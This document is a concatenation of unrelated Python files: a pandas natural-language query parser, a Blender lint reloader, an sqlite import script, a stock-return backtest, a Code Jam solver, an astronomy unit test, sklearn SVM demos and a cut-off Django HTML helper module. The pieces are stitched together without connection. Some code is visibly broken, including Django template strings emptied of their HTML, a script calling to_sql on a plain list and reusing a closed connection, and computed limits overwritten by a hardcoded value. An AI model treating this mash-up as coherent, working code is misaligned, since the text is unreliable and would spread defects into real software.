"""
LanguageParser is a rudimentary natural language parser for forming SQL-like queries
for use against Pandas dataframe objects.

The language parser takes input as such that:

`my column value is greater than another column value and my column is not equal yet another column`

This would then be parsed and become:

`my_column > another_column & my_column != yet_another_column`
"""
import re
import time
from collections import namedtuple
from itertools import chain
from itertools import combinations
from itertools import permutations
import pandas as pd
import numpy as np

from pyccata.core.decorators import accepts
from pyccata.core.threading import Threadable
from pyupset.resources import ExtractedData

class _Query(object):
    """
    Private class - does the actual parsing
    """
    # pylint: disable=too-few-public-methods
    # Struct type object require only a few methods

    _original = None
    _real = None
    _fields = None

    @accepts(str, list)
    def __init__(self, query, fields):
        """
        Initialise a new _Query item

        @param query string
        @param fields list
        """
        self._original = query
        self._fields = fields
        self._real = self.parse(query)

    @accepts(str)
    def parse(self, query):
        """
        Parse the provided query into an SQL-like query

        @param query string

        This method is expensive to call as it uses a number of regex-matches.
        """
        query = re.subn(r' and ', ' & ', query, flags=re.IGNORECASE)[0]
        query = re.subn(r' or ', ' | ', query, flags=re.IGNORECASE)[0]
        for operator, operation_list in LanguageParser.OPERATIONS:
            for operate in operation_list:
                query = re.subn(operate, operator, query, re.IGNORECASE)[0]

        for field in self._fields:
            query = re.subn(field.replace('_', ' '), field, query, flags=re.IGNORECASE)[0]

        return query

    def __equals__(self, what):
        """
        Is the current item the same as the comparison item?

        Compares string input against the queries stored
        """
        return self._original == what or self._real == what

    def __str__(self):
        """
        String representation of the final query
        """
        return self._real

class _Operator(object):
    """
    Private class for handling operation replacement values
    """
    # pylint: disable=too-few-public-methods

    def __init__(self, operation=None, replacement=None, replaced_in_query=False):
        self.operation = operation
        self.replacement = replacement
        self.replaced_in_query = replaced_in_query

class ExtractedResults(ExtractedData):
    """
    Override class for ExtractedData to allow for extra `query` parameter
    """
    _lock = False
    def __init__(self):
        super().__init__(None, None, None, None)
        self._options = {
            '_in_sets': None,
            '_out_sets': None,
            '_results': None,
            '_filter_config': None,
            '_query': None,
            '_logic': None
        }

    def append_results(self, results):
        """
        Sleep for THREAD_SLEEP then append results
        """
        while ExtractedResults._lock:
            time.sleep(Threadable.THREAD_SLEEP)
        ExtractedResults._lock = True
        # pylint: disable=access-member-before-definition,attribute-defined-outside-init
        # self.results is identified on the parent __getattr__ method
        if self.results is None:
            self.results = pd.DataFrame(results, copy=True).drop_duplicates()
        else:
            self._options['_results'] = self.results.append(results, ignore_index=True).drop_duplicates()
        ExtractedResults._lock = False

    def flatten_results(self, unique_keys):
        """ Takes a multi-frame dataset and flattens it into a single dataframe """
        if not isinstance(unique_keys, list):
            unique_keys = [unique_keys]
        dataframe = None
        for frame in self.in_sets:
            columns = [column for column in self.results.columns if column.endswith(frame)]

            interim = pd.DataFrame(self.results[unique_keys + columns], copy=True)
            interim.columns = unique_keys + [column[:-len('_{0}'.format(frame))] for column in columns]

            if dataframe is None:
                dataframe = pd.DataFrame(interim, copy=True).reset_index(drop=True)
            else:
                dataframe = dataframe.append(interim, ignore_index=True)
        return dataframe.drop_duplicates()

class LanguageParser(object):
    """
    Parse human readable strings into SQL-like queries
    """
    # pylint: disable=too-few-public-methods
    # Not many methods required here
    OPERATIONS = [
        (' >= ', [' is greater than or equal to ', ' is not less than ', ' not less than ', ' >= ']),
        (' <= ', [' is less than or equal to ', ' is not greater than ', ' not greater than ', ' <= ']),
        (' != ', [' is not equal to ', ' not equals ', ' != ']),
        (' == ', [' is equal to ', ' equals ', 'equal', ' = ', ' <> ', ' == ']),
        (' > ', [' is greater than ', ' greater than ', ' > ']),
        (' < ', [' is less than ', ' less than ', ' < '])
    ]

    INVERSIONS = [
        ('>=', '<'), ('<=', '>'),
        ('>', '<'), ('<', '>'),
        ('==', '!='), ('!=', '==')
    ]

    LIMIT_DEFAULT = 200

    _queries = []

    @accepts(str, list)
    def parse(self, query, fields):
        """
        Returns a parsed query

        Loop over all stored queries and return a previously parsed version of
        the query or a new one if the query has not been previously parsed.

        @param query string
        @param fields list
        """
        return str(self[query]) if query in self else self.append(_Query(query, fields))

    def __contains__(self, what):
        for item in self._queries:
            if item == what:
                return True
        return False

    def __getitem__(self, key):
        if isinstance(key, int):
            return self._queries[key]

        for item in self._queries:
            if key == item:
                return item
        raise IndexError('Invalid index {0} for LanguageParser'.format(key))

    def combination(self, query, replacements, fields):
        """
        Loops over the replacements list and creates an instance of the query for each item

        @param query string
        @param replacements list
        @param fields list

        @return list
        """
        queries = []
        for left_name in replacements:
            sections = []
            for right_name in replacements:
                if left_name != right_name:
                    copy = query.replace('_x', '_{0}'.format(left_name))
                    copy = copy.replace('_y', '_{0}'.format(right_name))
                    sections.append(str(self[copy]) if copy in self else self.append(_Query(copy, fields)))
            queries.append('(' + ') | ('.join(sections) + ')')

        return queries

    def combinatorics(self, inclusive_query, exclusive_query, names, limits):
        """
        Loops over the replacements list and creates an instance query for each item

        :param string inclusive_query
        :param string exclusive_query
        :param list   limits
        :param list   names

        Similar to :meth:`LanguageParser.combination`, this method will loop over each item in replacements and create
        a query for each entry.

        The difference here is that for each dataset, an inverse entry will also be written.

        This is such that, for the dataframes::

            dataframe_one
            dataframe_two
            dataframe_three
            dataframe_four

        combinations would be written such that::

            (dataframe_one)
            (dataframe_two)
            (dataframe_three)
            (dataframe_four)
            (dataframe_one, dataframe_two)
            (dataframe_one, dataframe_three)
            (dataframe_one, dataframe_four)
            ...
            (dataframe_one, dataframe_two, dataframe_three, dataframe_four)

        An inverse set would then be provided in the form that "A not in B" giving::

            (dataframe_two, dataframe_three, dataframe_four),
            ...
            (dataframe_three, dataframe_four)
            (dataframe_two, dataframe_four)
            ...

        The query is then re-written such that:

            A == B & A != [C | D] & B != [C | D]

        For this method, it is important that the query does not include hard ranges and in fact value_range is instead
        provided. value_range is a tuple such that ``(value_lower, value_upper)``

        Example::

            query = 'start_x >= (start_y - value_lower) and end_x <= (end_y + value_upper)'

        would be re-written as:

            (dataframe_one, dataframe_two)
            values = (200, 200)
            query = '(start_dataframe_one >= (start_dataframe_two - values[0]) OR (start_dataframe_two >= \
                         (start_dataframe_one - values[0]))) AND \
                         (end_dataframe_one <= (end_end_dataframe_two + values[1]) OR \
                         (end_dataframe_two <= (end_datafrane_one + values[1])))'

        This query is fairly straightforward and the example will bring back all instances where start and end overlap
        by +- 200

        The complexity with pandas arises here in that on a full cartesian product of n-sets, when building a
        combination graph of the data such as those provided by `py-upset`, the data for the combination of
        `dataframe_one` and `dataframe_two` will include data from other set combinations which include one or more of
        these datasets.

        Because pandas does not provide the mechanism to carry out set operations on dataframes, it would be
        incredibly inefficient to attempt to subtract different combination results from each other. Instead it is
        more efficient to limit the amount of data returned for each combination to contain information about other
        sets which explicitly fall outside of the acceptance criteria.

        Therefore in the example, for dataframe_one and dataframe_two, we explicitly include sets which "overlap"
        whilst for `dataframe_three` and `dataframe_four` we exclude these overlaps by explicitly including
        non-overlapping values, then discarding the values within these columns.

        This makes the query considerably more complicated::

            inclusive_query = '(start_dataframe_one >= (start_dataframe_two - 200) OR \
                   (start_dataframe_two >= (start_dataframe_one - 200))) AND \
                   (end_dataframe_one <= (end_end_dataframe_two + 200) OR \
                   (end_dataframe_two <= (end_datafrane_one + 200)))'

            exclusive_queries = [
                '(start_dataframe_one < (start_dataframe_three - 200) OR \
                 (start_dataframe_three < (start_dataframe_one - 200))) AND \
                 (end_dataframe_one > (end_end_dataframe_three + 200) OR \
                 (end_dataframe_three > (end_datafrane_one + 200)))',

                '(start_dataframe_one < (start_dataframe_four - 200) OR \
                 (start_dataframe_four < (start_dataframe_one - 200))) AND \
                 (end_dataframe_one > (end_end_dataframe_four + 200) OR \
                 (end_dataframe_four > (end_datafrane_one + 200)))',

                '(start_dataframe_two < (start_dataframe_three - 200) OR \
                 (start_dataframe_three < (start_dataframe_two - 200))) AND \
                 (end_dataframe_two > (end_end_dataframe_three + 200) OR \
                 (end_dataframe_three > (end_datafrane_two + 200)))',

                '(start_dataframe_two < (start_dataframe_four - 200) OR \
                 (start_dataframe_four < (start_dataframe_two - 200))) AND \
                 (end_dataframe_two > (end_end_dataframe_four + 200) OR \
                 (end_dataframe_four > (end_datafrane_two + 200)))',

                '(start_dataframe_three < (start_dataframe_four - 200) OR \
                 (start_dataframe_four < (start_dataframe_three - 200))) AND \
                 (end_dataframe_three > (end_end_dataframe_four + 200) OR \
                 (end_dataframe_four > (end_datafrane_three + 200)))'
            ]

            query = '(' + inclusive_query + ') AND ~(' + ' AND '.join(exclusive_queries) + ')'

        Combinations containing a single dataframe as the inclusion are excluded from the results when calculating
        combinations in this manner as the values they would contain count as non-overlapping data.
        """
        # pylint: disable=too-many-locals
        # This method is prime for refactoring, however it's complexity means
        # that for now, it's not straight forward. We live with having overcrowding.

        limits = limits._asdict() if limits is not None else {}
        name_combinations = chain.from_iterable(
            combinations(names, i) for i in np.arange(1, len(names) + 1)
        )
        sets = [tuple(frozenset(inset)) for inset in name_combinations]
        queries = []
        query = namedtuple('Query', 'inclusive exclusive')

        for in_sets in sets:
            out_sets = list(set(names) - set(in_sets))

            inclusive_queries = []
            exclusive_queries = []

            start_frame_permutations = [p for p in permutations(list(in_sets))]
            end_frame_permutations = [p for p in permutations(list(out_sets)) if p]

            for current_permutation in start_frame_permutations:
                inclusive_queries.append(
                    self._inclusive_query(inclusive_query, current_permutation, limits)
                )

                # pylint: disable=expression-not-assigned
                # List comprehension result is not required for any reason.
                [
                    exclusive_queries.append(
                        self._inclusive_query(exclusive_query, permutation, limits, left_name=current_permutation[0])
                    )
                    for permutation in end_frame_permutations if end_frame_permutations[0]
                ]

            # pylint: disable=attribute-defined-outside-init
            # Attributes on the ExtractedResults object are initialised through
            # __getattr__ and __setattr methods on the parent `pyupset.resources.ExtractedData` object
            extracted = ExtractedResults()
            extracted.in_sets = in_sets
            extracted.out_sets = out_sets
            extracted.query = query(
                inclusive='(' + ' and '.join(inclusive_queries) + ')',
                exclusive=(
                    '~(' + ' and '.join(exclusive_queries) + ')'
                    if exclusive_queries and exclusive_queries[0] != ''
                    else None
                )
            )
            queries.append(extracted)
        return queries

    @staticmethod
    def _inclusive_query(query, sets, limits, left_name=None):
        """
        Write out and group queries
        """
        queries = []
        sections = []
        if query == '' or query is None:
            return ''

        left_name = sets[0] if left_name is None  else left_name

        left_limit = [
            limit
            for limit in limits
            if left_name.lower().startswith(limit.lower()) or left_name.lower().endswith(limit.lower())
        ][0]

        left_limit = 250
        for right_name in sets:
            if left_name != right_name:
                right_limit = [
                    limit
                    for limit in limits
                    if right_name.lower().startswith(limit.lower()) or right_name.lower().endswith(limit.lower())
                ][0]
                right_limit = left_limit

                copy = query.replace('_x', '_{0}'.format(left_name))
                copy = copy.replace('_y', '_{0}'.format(right_name))
                reversed_copy = query.replace('_x', '_{0}'.format(right_name))
                reversed_copy = reversed_copy.replace('_y', '_{0}'.format(left_name))

                new_query = '(' + copy + ' or ' + reversed_copy + ')'
                new_query = new_query.replace('{left_limit}', str(left_limit))
                new_query = new_query.replace('{right_limit}', str(right_limit))
                sections.append(new_query)

        queries.append('(' + ' and '.join(sections) + ')')
        return '(' + ' and '.join(queries) + ')'

    @accepts(_Query)
    def append(self, query):
        """
        Append a new query to the list and return a string representation of it.

        @param query _Query

        @return string
        """
        self._queries.append(query)
        return str(self._queries[-1])


import json

from .. import get_user_preferences
from .save_load_util import import_lint_rules, get_config_filepath

def reload_issues(context):
    """Reload issues"""
    issues_collection = context.window_manager.lint_issues
    rules = get_user_preferences(context).lint_rules
    issues_collection.clear()
    for r in rules:
        for issue in r.get_issues():
            try:
                new_issue = issues_collection.add()
                new_issue.description = issue.get('description')
                new_issue.severity_icon = issue.get('severity_icon')
                new_issue.category_icon = issue.get('category_icon')
                new_issue.fix_expr = issue.get('fix_expr')
            except ValueError as e:
                print("Error with {}: {}".format(issue.get('description'), e))

def reload_rules(context):
    """Reloads rules from BLint's config file, if exists.

    :param context: Blender's context
    """
    lint_collection = get_user_preferences(context).lint_rules

    existing_rules = {rule.description: rule.enabled for rule in lint_collection.values()}

    lint_collection.clear()

    config_filepath = get_config_filepath(context)

    try:
        with open(config_filepath, 'r') as f:
            lint_rules = json.load(f)
            import_lint_rules(lint_rules.get('rules', []), lint_collection, existing_rules)
    except FileNotFoundError:
        print('{} not found!'.format(config_filepath))


import sqlite3
import sqlalchemy as db
import pandas as pd

df = []

'''
#option 1
cnx = sqlite3.connect(':memory')
df.to_sql(name='df',con=cnx)

p2 = pd.read_sql('select * from df', cnx)
'''

'''
#option 2
engine = db.create_engine('sqlite:///save_pandas.db', echo=True)
sqlite_connection = engine.connect()
metadata = db.MetaData()
df = db.Table('df', metadata, autoload=True, autoload_with=engine)

df.to_sql("df", sqlite_connection, if_exists='fail')

count = db.select([db.func.count([df])])

sqlite_connection.close()

'''

#%% Performing operations

sqlite_file = r'/impakter_app/ProjectData.sqlite'
cnx = sqlite3.connect(sqlite_file)
c = cnx.cursor()

#%% dataframe operations
df.to_sql(name='df',con=cnx)

#%%
sources = pd.read_sql('select sourceID,name from sources', cnx)

#%% Normal querying
c.execute(f'SELECT * from sources')

all_rows = c.fetchall()

source = str("source name")
c.execute("insert into sources (name) values (?)",(source,))

cnx.commit()
cnx.close()

#%% article operation

df = pd.read_csv("/impakter_app/Services/ProjectData/articles.csv")

for ind in df.index:
    c.execute("insert into articles (articleID,url,sourceID,content_hash,summary) values (?,?,?,?,?)", (str(df.loc[ind, 'id']), df.loc[ind, 'url'], df.loc[ind, 'source_id'], str(df.loc[ind, 'content_hash']), df.loc[ind, 'summary']))

cnx.commit()
cnx.close()


import pandas as pd
import numpy as np
from sklearn.linear_model import Ridge, LinearRegression
from sklearn.metrics import r2_score, precision_score, recall_score, accuracy_score

class Backtest():
    def __init__(self, z: int=1000, T: int=12, use_type=np.float32):
        self.z = z
        self.T = T
        self.use_type = np.float32
        self.prediction = None
        self.performance = None

    def predict(self, X: np.array, y: np.array):
        """Trains a ridge regression on T training samples and creates a 1-step ahead prediction.
        'Timing Strategy' is the return of the forecast weighted by its forecast value. Both 'Timing Strategy' and 'Market Return'
        are 1-step ahead and refer to the next month. E.g. for Index 2020-01-01, those values refer to the return in 2020-02-01.

        Args:
            X (np.array): independent variables
            y (np.array): dependent variable
        """
        backtest = []
        T_max, self.P = X.shape
        self.c = self.P / self.T

        index = list(range(self.T, T_max))
        for t in index:
            S_train = X[t-self.T:t].astype(self.use_type)
            R_train = y[t-self.T:t].astype(self.use_type)

            S_test = X[t:t+1].astype(self.use_type)
            R_test = y[t:t+1].astype(self.use_type)

            # Ridge.alpha is adjusted by T to get the same results as in the paper.
            beta = Ridge(alpha=(self.z*self.T), solver="svd", fit_intercept=False, normalize=False).fit(S_train, R_train).coef_
            forecast = S_test @ beta
            # Keep in mind that R_test is 1-step ahead, thus it satisfies beta'*S_t*R_t+1
            timing_strategy = forecast * R_test

            backtest.append({
                "index": R_test.index[0],
                "beta_norm": np.sqrt((beta**2).sum()),
                "forecast": forecast[0],
                "timing_strategy": timing_strategy[0],
                "market_return": R_test[0]
            })
        # The last value for market_return is NaN since it is predicting the next month
        self.backtest = pd.DataFrame(backtest).set_index("index")
        self.prediction = self.backtest["forecast"]
        return self

    def performance(self, time_factor:int = 12):
        """Calculates various performance metrics for the backtest.

        Args:
            time_factor (int, optional): Factor to annualize the data e.g. 12 for a monthly frequency. Defaults to 12.
        """
        data = self.backtest.dropna()
        # Calculate Alpha & Beta of the timing strategy
        market_reg = LinearRegression().fit(data[["market_return"]], data["timing_strategy"])
        beta = market_reg.coef_[0]
        alpha = market_reg.intercept_

        # Annualize returns
        sqrt_time_factor = np.sqrt(time_factor)
        mean = data["timing_strategy"].mean()*time_factor
        std = data["timing_strategy"].std()*sqrt_time_factor
        mean_market = data["market_return"].mean()*time_factor

        self.performance = {
            "beta_norm_mean" : data["beta_norm"].mean(),
            "Market Sharpe Ratio" : (data["market_return"].mean()*time_factor) / (data["market_return"].std()*sqrt_time_factor),
            "Expected Return" : mean,
            "Volatility" : std,
            "R2" : r2_score(data["market_return"], data["forecast"]),
            "SR" : mean/std,
            # Adjust IR by beta to get a better scaling since mean converges to zero for higher c
            "IR" : (mean - mean_market*beta)/std,
            "Alpha" : alpha,
            # Does sign(forecast) match sign(market_return)?
            "Precision": precision_score(data["market_return"] > 0, data["forecast"] > 0),
            "Recall": recall_score(data["market_return"] > 0, data["forecast"] > 0),
            "Accuracy": accuracy_score(data["market_return"] > 0, data["forecast"] > 0),
        }
        return self.performance


#!/usr/bin/python

"""Usage: $ python A_store_credit.py inputFile [outputFile]"""

import sys, datetime

def solve(credit, items, price_list):
    """You receive a credit C at a local store and would like to buy two items.
       You first walk through the store and create a list L of all available items.
       From this list you would like to buy two items that add up to the entire value
       of the credit. The solution you provide will consist of the two integers
       indicating the positions of the items in your list (smaller number first).
    """
    price_less_credit = []

    for i in range(items):
        value = price_list[i]
        value_less_credit = credit - value
        if value_less_credit > 0:
            price_less_credit.append(value_less_credit)

    for i in price_less_credit:
        try:
            if i in price_list:
                one = i
                one_index = price_list.index(one)
                price_list[one_index] = None
                another = credit - one
                another_index = price_list.index(another)

                index = [one_index + 1, another_index + 1]

                return "{} {}".format(min(index), max(index))
        except ValueError:
            pass

def main():
    # Test if at least input file is provided
    if len(sys.argv) < 2:
        print('Please provide input file')
        print('Usage: %s inputfile [outputfile]' % sys.argv[0])
        return
    # Start time
    timestart = datetime.datetime.now()

    # Open input and output files
    try:
        inputFile = open(sys.argv[1])
    except:
        print('Failed to read input file %s' % sys.argv[1])
        return
    try:
        outputFile = open(sys.argv[2], 'w') if len(sys.argv) >= 3 else None
    except:
        print('Failed to create output file %s' % sys.argv[2])
        return

    testCases = int(inputFile.readline().strip())

    # Display number of test cases and output file name
    print('-----------------')
    print('Test cases: %d ' % testCases)
    print('No output file' if len(sys.argv) < 3 else 'Writing to %s' % sys.argv[2])
    print('-----------------')

    # Loop through all test cases
    for testCaseNumber in range(1, testCases+1):

        # Read an integer
        credit = int(inputFile.readline().strip())
        items = int(inputFile.readline().strip())
        # Read a list of integers
        price_list = list(map(int, inputFile.readline().strip().split()))

        string = 'Case #{}: {}'.format(testCaseNumber, solve(credit, items, price_list))

        # print return string and write it to output file
        print(string)
        if outputFile:
            outputFile.write(string + '\n')

    # Print some final info: output file name and execution time
    print('-----------------')
    print('Written to %s' % sys.argv[2] if outputFile else 'No output file')
    print('Elapsed time: %s' % (datetime.datetime.now() - timestart))
    print('-----------------')

    # Close input and output files
    inputFile.close()
    if outputFile:
        outputFile.close()

if __name__=='__main__':
    main()


""" Unit processing_components for rascil advise

"""
import logging
import unittest
import shutil

import numpy
from astropy import units as u
from astropy.coordinates import SkyCoord

from rascil.apps.rascil_advise import cli_parser, advise
from rascil.data_models.parameters import rascil_path
from rascil.data_models.polarisation import PolarisationFrame
from rascil.processing_components import (
    export_blockvisibility_to_ms,
    concatenate_blockvisibility_frequency,
)
from rascil.processing_components.simulation import create_named_configuration
from rascil.processing_components.simulation import ingest_unittest_visibility

log = logging.getLogger("rascil-logger")
log.setLevel(logging.WARNING)

class TestRASCILAdvise(unittest.TestCase):
    def make_MS(self, nfreqwin=1, dopol=False, zerow=False):

        self.low = create_named_configuration("LOWBD2", rmax=750.0)
        self.freqwin = nfreqwin
        self.ntimes = 3
        self.times = numpy.linspace(-3.0, +3.0, self.ntimes) * numpy.pi / 12.0
        self.frequency = numpy.linspace(0.8e8, 1.2e8, self.freqwin)

        if self.freqwin > 1:
            self.channelwidth = numpy.array(
                self.freqwin * [self.frequency[1] - self.frequency[0]]
            )
        else:
            self.channelwidth = numpy.array([1e6])

        if dopol:
            self.vis_pol = PolarisationFrame("linear")
            self.image_pol = PolarisationFrame("stokesIQUV")
            f = numpy.array([100.0, 20.0, 0.0, 0.0])
        else:
            self.vis_pol = PolarisationFrame("stokesI")
            self.image_pol = PolarisationFrame("stokesI")
            f = numpy.array([100.0])

        self.phasecentre = SkyCoord(
            ra=+180.0 * u.deg, dec=-60.0 * u.deg, frame="icrs", equinox="J2000"
        )
        self.bvis_list = [
            ingest_unittest_visibility(
                self.low,
                [self.frequency[i]],
                [self.channelwidth[i]],
                self.times,
                self.vis_pol,
                self.phasecentre,
                zerow=zerow,
            )
            for i in range(nfreqwin)
        ]

        shutil.rmtree(
            rascil_path("test_results/test_rascil_advise.ms"), ignore_errors=True
        )
        if nfreqwin > 1:
            self.bvis_list = [concatenate_blockvisibility_frequency(self.bvis_list)]

        export_blockvisibility_to_ms(
            rascil_path("test_results/test_rascil_advise.ms"), self.bvis_list
        )

    def setUp(self) -> None:

        self.results_dir = rascil_path("test_results")

        parser = cli_parser()
        self.args = parser.parse_args([])
        self.args.ingest_msname = rascil_path("test_results/test_rascil_advise.ms")

    def tearDown(self) -> None:
        shutil.rmtree(
            rascil_path("test_results/test_rascil_advise.ms"), ignore_errors=True
        )

    def test_advise(self):

        self.make_MS()

        advice = advise(self.args)

        numpy.testing.assert_almost_equal(advice["cellsize"], 0.0010626331874509759)
        numpy.testing.assert_almost_equal(
            advice["freq_sampling_primary_beam"], 2381946.1861413997
        )
        numpy.testing.assert_almost_equal(advice["nwpixels"], 18)
        numpy.testing.assert_almost_equal(advice["nwpixels_image"], 494)
        numpy.testing.assert_almost_equal(
            advice["time_sampling_primary_beam"], 2572.5018810327115
        )

if __name__ == "__main__":
    unittest.main()


# -*- coding: utf-8 -*-
"""
 Created on 2021/7/8 23:35
 Filename   : ex06_kernel_svm.py
 Author     : Taosy.W
 Zhihu      : https://www.zhihu.com/people/1105936347
 Github     : https://github.com/AFei19911012/PythonSamples
 Description:
"""

# =======================================================
import numpy as np
import matplotlib.pyplot as plt
from matplotlib.colors import Normalize

from sklearn.svm import SVC
from sklearn.preprocessing import StandardScaler
from sklearn.datasets import load_iris
from sklearn.model_selection import StratifiedShuffleSplit
from sklearn.model_selection import GridSearchCV
from sklearn import svm, datasets
from sklearn.datasets import make_classification
from sklearn.model_selection import train_test_split

# Utility function to move the midpoint of a colormap to be around
# the values of interest.

class MidpointNormalize(Normalize):

    def __init__(self, vmin=None, vmax=None, midpoint=None, clip=False):
        self.midpoint = midpoint
        Normalize.__init__(self, vmin, vmax, clip)

    def __call__(self, value, clip=None):
        x, y = [self.vmin, self.midpoint, self.vmax], [0, 0.5, 1]
        return np.ma.masked_array(np.interp(value, x, y))

def plot_rbf_parameters():
    # #############################################################################
    # Load and prepare data set
    #
    # dataset for grid search

    iris = load_iris()
    X = iris.data
    y = iris.target

    # Dataset for decision function visualization: we only keep the first two
    # features in X and sub-sample the dataset to keep only 2 classes and
    # make it a binary classification problem.

    X_2d = X[:, :2]
    X_2d = X_2d[y > 0]
    y_2d = y[y > 0]
    y_2d -= 1

    # It is usually a good idea to scale the data for SVM training.
    # We are cheating a bit in this example in scaling all of the data,
    # instead of fitting the transformation on the training set and
    # just applying it on the test set.

    scaler = StandardScaler()
    X = scaler.fit_transform(X)
    X_2d = scaler.fit_transform(X_2d)

    # #############################################################################
    # Train classifiers
    #
    # For an initial search, a logarithmic grid with basis
    # 10 is often helpful. Using a basis of 2, a finer
    # tuning can be achieved but at a much higher cost.

    C_range = np.logspace(-2, 10, 13)
    gamma_range = np.logspace(-9, 3, 13)
    param_grid = dict(gamma=gamma_range, C=C_range)
    cv = StratifiedShuffleSplit(n_splits=5, test_size=0.2, random_state=42)
    grid = GridSearchCV(SVC(), param_grid=param_grid, cv=cv)
    grid.fit(X, y)

    print("The best parameters are %s with a score of %0.2f"
          % (grid.best_params_, grid.best_score_))

    # Now we need to fit a classifier for all parameters in the 2d version
    # (we use a smaller set of parameters here because it takes a while to train)

    C_2d_range = [1e-2, 1, 1e2]
    gamma_2d_range = [1e-1, 1, 1e1]
    classifiers = []
    for C in C_2d_range:
        for gamma in gamma_2d_range:
            clf = SVC(C=C, gamma=gamma)
            clf.fit(X_2d, y_2d)
            classifiers.append((C, gamma, clf))

    # #############################################################################
    # Visualization
    #
    # draw visualization of parameter effects

    plt.figure(figsize=(8, 6))
    xx, yy = np.meshgrid(np.linspace(-3, 3, 200), np.linspace(-3, 3, 200))
    for (k, (C, gamma, clf)) in enumerate(classifiers):
        # evaluate decision function in a grid
        Z = clf.decision_function(np.c_[xx.ravel(), yy.ravel()])
        Z = Z.reshape(xx.shape)

        # visualize decision function for these parameters
        plt.subplot(len(C_2d_range), len(gamma_2d_range), k + 1)
        plt.title("gamma=10^%d, C=10^%d" % (np.log10(gamma), np.log10(C)),
                  size='medium')

        # visualize parameter's effect on decision function
        plt.pcolormesh(xx, yy, -Z, cmap=plt.cm.RdBu)
        plt.scatter(X_2d[:, 0], X_2d[:, 1], c=y_2d, cmap=plt.cm.RdBu_r,
                    edgecolors='k')
        plt.xticks(())
        plt.yticks(())
        plt.axis('tight')

    scores = grid.cv_results_['mean_test_score'].reshape(len(C_range), len(gamma_range))

    # Draw heatmap of the validation accuracy as a function of gamma and C
    #
    # The score are encoded as colors with the hot colormap which varies from dark
    # red to bright yellow. As the most interesting scores are all located in the
    # 0.92 to 0.97 range we use a custom normalizer to set the mid-point to 0.92 so
    # as to make it easier to visualize the small variations of score values in the
    # interesting range while not brutally collapsing all the low score values to
    # the same color.

    plt.figure(figsize=(8, 6))
    plt.subplots_adjust(left=.2, right=0.95, bottom=0.15, top=0.95)
    plt.imshow(scores, interpolation='nearest', cmap=plt.cm.hot,
               norm=MidpointNormalize(vmin=0.2, midpoint=0.92))
    plt.xlabel('gamma')
    plt.ylabel('C')
    plt.colorbar()
    plt.xticks(np.arange(len(gamma_range)), gamma_range, rotation=45)
    plt.yticks(np.arange(len(C_range)), C_range)
    plt.title('Validation accuracy')
    plt.show()

def plot_svm_nonlinear():
    xx, yy = np.meshgrid(np.linspace(-3, 3, 500),
                         np.linspace(-3, 3, 500))
    np.random.seed(0)
    X = np.random.randn(300, 2)
    Y = np.logical_xor(X[:, 0] > 0, X[:, 1] > 0)

    # fit the model
    clf = svm.NuSVC(gamma='auto')
    clf.fit(X, Y)

    # plot the decision function for each datapoint on the grid
    Z = clf.decision_function(np.c_[xx.ravel(), yy.ravel()])
    Z = Z.reshape(xx.shape)

    plt.imshow(Z, interpolation='nearest', extent=(xx.min(), xx.max(), yy.min(), yy.max()), aspect='auto',
               origin='lower', cmap=plt.cm.PuOr_r)
    contours = plt.contour(xx, yy, Z, levels=[0], linewidths=2, linestyles='dashed')
    plt.scatter(X[:, 0], X[:, 1], s=30, c=Y, cmap=plt.cm.Paired, edgecolors='k')
    plt.xticks(())
    plt.yticks(())
    plt.axis([-3, 3, -3, 3])
    plt.show()

def plot_custom_kernel():
    # import some data to play with
    iris = datasets.load_iris()
    X = iris.data[:, :2]  # we only take the first two features. We could
    # avoid this ugly slicing by using a two-dim dataset
    Y = iris.target

    def my_kernel(X, Y):
        """
        We create a custom kernel:

                     (2  0)
        k(X, Y) = X  (    ) Y.T
                     (0  1)
        """
        M = np.array([[2, 0], [0, 1.0]])
        return np.dot(np.dot(X, M), Y.T)

    h = .02  # step size in the mesh

    # we create an instance of SVM and fit out data.
    clf = svm.SVC(kernel=my_kernel)
    clf.fit(X, Y)

    # Plot the decision boundary. For that, we will assign a color to each
    # point in the mesh [x_min, x_max]x[y_min, y_max].
    x_min, x_max = X[:, 0].min() - 1, X[:, 0].max() + 1
    y_min, y_max = X[:, 1].min() - 1, X[:, 1].max() + 1
    xx, yy = np.meshgrid(np.arange(x_min, x_max, h), np.arange(y_min, y_max, h))
    Z = clf.predict(np.c_[xx.ravel(), yy.ravel()])

    # Put the result into a color plot
    Z = Z.reshape(xx.shape)
    plt.pcolormesh(xx, yy, Z, cmap=plt.cm.Paired)

    # Plot also the training points
    plt.scatter(X[:, 0], X[:, 1], c=Y, cmap=plt.cm.Paired, edgecolors='k')
    plt.title('3-Class classification using Support Vector Machine with custom kernel')
    plt.axis('tight')
    plt.show()

def plot_gram():
    X, y = make_classification(n_samples=10, random_state=0)
    X_train, X_test, y_train, y_test = train_test_split(X, y, random_state=0)
    clf = svm.SVC(kernel='precomputed')
    # linear kernel computation
    gram_train = np.dot(X_train, X_train.T)
    clf.fit(gram_train, y_train)

    # predict on training examples
    gram_test = np.dot(X_test, X_train.T)
    print(clf.predict(gram_test))

if __name__ == '__main__':
    plot_rbf_parameters()
    plot_svm_nonlinear()
    plot_gram()


from datetime import datetime, date, timedelta, time

from django.utils.safestring import mark_safe
from djaveDT import tz_dt_to_str, time_to_time_str, d_to_str, tz_dt_to_tz_dt
from djmoney.money import Money

class CellContent(object):
  def as_html(self):
    raise NotImplementedError('as_html')

  def as_csv(self):
    raise NotImplementedError('as_csv')

  def __eq__(self, other):
    return self.as_html() == other.as_html()

  def __str__(self):
    return self.as_html()

  def __repr__(self):
    return self.as_html()

class Tooltip(CellContent):
  def __init__(self, label, help_text, width=None):
    self.label = label
    self.help_text = help_text
    self.width = width

  def as_html(self):
    width_str = ''
    if self.width:
      width_str = ' style="width: {}px;"'.format(self.width)
    template = (
        '
{}{}
')
    return mark_safe(template.format(self.label, width_str, self.help_text))

  def as_csv(self):
    return self.label

class Feedback(CellContent):
  def __init__(self, text, html_finder=None):
    self.text = text
    self.html_finder = html_finder

  def as_html(self):
    another_class = ''
    if self.html_finder:
      another_class = ' {}'.format(self.html_finder)
    return (
        '{}'.format(another_class, self.text))

class DisappearingFeedback(Feedback):
  """ This is pretty much so I can briefly display "Saved!" on the page when
  the user clicks a Save button which causes a POST. """
  def __init__(self, text='Saved!', html_finder='hide_soon'):
    super().__init__(text, html_finder)

  def as_html(self):
    html = super().as_html()
    js = (
        '\n').format(self.html_finder)
    return mark_safe(html + js)

class InHref(CellContent):
  def __init__(self, cell_contents, url, classes=None, button=False):
    self.cell_contents = cell_contents
    self.url = url
    self.classes = classes or []
    if button:
      self.classes.append('button')

